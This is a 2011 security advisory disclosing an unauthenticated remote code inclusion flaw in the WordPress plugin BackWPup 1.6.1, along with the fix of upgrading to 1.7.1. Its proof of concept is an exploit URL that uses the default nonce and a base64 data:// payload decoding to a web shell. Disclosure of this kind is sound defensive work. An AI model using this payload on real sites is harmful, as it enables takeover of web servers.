Sense of Security – Security Advisory – SOS-11-003
| Release Date. | 28-Mar-2011 |
| Last Update. | – |
| Vendor Notification Date. | 25-Mar-2011 |
| Product. | WordPress Plugin BackWPup |
| Platform. | Independent |
| Affected versions. | Version 1.6.1 |
| Severity Rating. | High |
| Impact. | System access |
| Attack Vector. | Remote without authentication |
| Solution Status. | Upgrade to version 1.7.1 |
| CVE reference. | CVE – Not yet assigned |
Details.
A vulnerability has been discovered in the WordPress plugin BackWPup 1.6.1 which can be exploited to execute local or remote code on the web server.
The Input passed to the component “wp_xml_export.php” via the “wpabs” variable allows the inclusion and execution of local or remote PHP files as long as a “_nonce” value is known. The “_nonce” value relies on a static constant which is not defined in the script meaning that it defaults to the value “822728c8d9”.
Proof of Concept.
wp_xml_export.php?_nonce=822728c8d9&wpabs=data://text/plain;base64,PGZvcm
0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXT8+IiBtZX
Rob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ4Ij48aW5wdXQ
gdlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm0+PHByZT48PyAKZW
NobyBgeyRfUE9TVFsneCddfWA7ID8+PC9wcmU+PD8gZGllKCk7ID8%
2bCgo=
Solution.
Upgrade to version 1.7.1
Discovered by.
Phil Taylor – Sense of Security Labs.